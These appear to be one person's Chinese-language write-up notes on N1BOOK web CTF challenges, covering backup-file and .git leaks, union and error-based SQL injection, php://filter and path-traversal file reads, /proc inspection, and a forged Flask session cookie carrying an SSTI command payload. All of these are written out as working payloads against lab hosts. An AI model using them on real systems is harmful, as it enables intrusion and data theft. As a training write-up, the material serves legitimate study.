平时做题记录
N1BOOK上面的web题
N1BOOK第一章
[第一章 web入门]常见的搜集
信息收集
除了 git泄露这些
robots.txt: 记录一些目录和CMS版本信息
readme.md: 记录CMS版本信息,有的甚至有Github地址
www.zip/rar/tar.gz: 往往是网站的源码备份
gedit备份文件 为多一个~
vim备份文件 前面多. 后面多.swp eg: index.php -> .index.php.swp
本题 robots.txt 中存在以下
{
User-agent: *
Disallow:
/flag1_is_her3_fun.txt
}
进入/flag1_is_her3_fun.txt/
显示flag1:n1book{info_1
肯定还有flag2等
访问 index.php~
flag2:s_v3ry_im
后面flag猜就是import4nt 变形
访问.index.php.swp
下载一个文件,搜到’flag3:p0rtant_hack}’;?>
n1book{info_1s_v3ry_imp0rtant_hack}
[第一章 web入门]粗心的小李
git泄露,访问.git 发现403 没有权限
githackpython GitHack.py http://27eda15c-88cd-47af-85da-a7daabc8bc49.node4.buuoj.cn:81/.git/
[第一章 web入门]SQL注入-1
单引号 #无法注释掉 –+可以
三列,都是三列
回显位置23 好像没什么过滤的。
-1' union select 1,2,database()--+
库名 note
表 fl4g,notes
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='fl4g' --+
columns ==fllllag
-1'union select 1,2,group_concat(fllllag) from note.fl4g --+
n1book{union_select_is_so_cool}
[第一章 web入门]SQL注入-2
源码提示报错注入了1' and extractvalue(1,concat(0x7e,database(),0x7e)) #
1'and (updatexml(1,concat(1,database()),1))#
都可以
note
这里过滤select1' and updatexml(1,concat(0x7e,(SELect table_name from information_schema.tables where table_schema='note'),0x7e),1) #
显示太长,用group_concat1' and updatexml(1,concat(0x7e,(seLECT group_concat(table_name) from information_schema.tables where table_schema='note'),0x7e),1) #
fl4g,users
1' and updatexml(1,concat(0x7e,(seLECT group_concat(column_name) from information_schema.columns where table_schema='note'),0x7e),1) #
flag,id,username,passwd‘“
1' and updatexml(1,concat(0x7e,(selECT group_concat(flag,id,username,passwd) from note.fl4g)),1)#
显示表明错误,估计是四个是不同的地方
1' and updatexml(1,concat(0x7e,(selECT group_concat(id,username,passwd) from note.users)),1)#
账户和密码
test,admin
test 26f1c86def93bd19fb3ba6ad3d9
26f1c86def93bd19fb3ba6ad3d9f2a8
1' and updatexml(1,concat(0x7e,(selECT group_concat(flag) from note.fl4g)),1)#
getflag
[第一章 web入门]afr_1
一开始看了下框架 是openresty
找了历史漏洞,发现有目录穿越
结果没用,方向错了
其实很简单,加协议直接读取flag base64解码即可
payload=/?p=php://filter/convert.base64-encode/resource=flag
<?php die(‘no no no’); n1book{afr_1_solved}
[第一章 web入门]afr_2
访问发现一个图片
看一下前端代码发现是本地文件读取
img/img.gif
继续看看img页面
还是openresty框架
访问img../上级目录,得到flag下载
n1book{afr_2_solved}
[第一章 web入门]afr_3
这个题……不是很入门,和CATcat里面的第一题比较类似
linux 系统 proc/self/…
{
Linux系统上的/proc目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。
/proc/[pid],当查看当前进程的时候可以用/proc/self代替
cmdline — 启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息
cwd — 指向当前进程运行目录的一个符号链接
environ — 当前进程的环境变量列表,彼此间用空字符(NULL)隔开;变量用大写字母表示,其值用小写字母表示
}
http://73235d70-069e-46fa-9c7a-456bb3b3dcd5.node4.buuoj.cn:81/article?name=这里注入
尝试读取下proc相关东西
进入proc/self/environ 发现一串flag
可惜不是flag
进入map页面看到内存区域,不知道能不能像catcat那样读取,待会试试
发现serve进程server.py
进去cwd看看
发现是 python flask框架
有flag.py key.py
flag.py 显示没有权限
key.py 显示#!/usr/bin/python key = ‘Drmhze6EPcv0fN_81Bj-nA’、
有key了
需要linux下
ssti python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
得到session
mem中显示input /output error
不允许读取内存区域
但是不失为一种好方法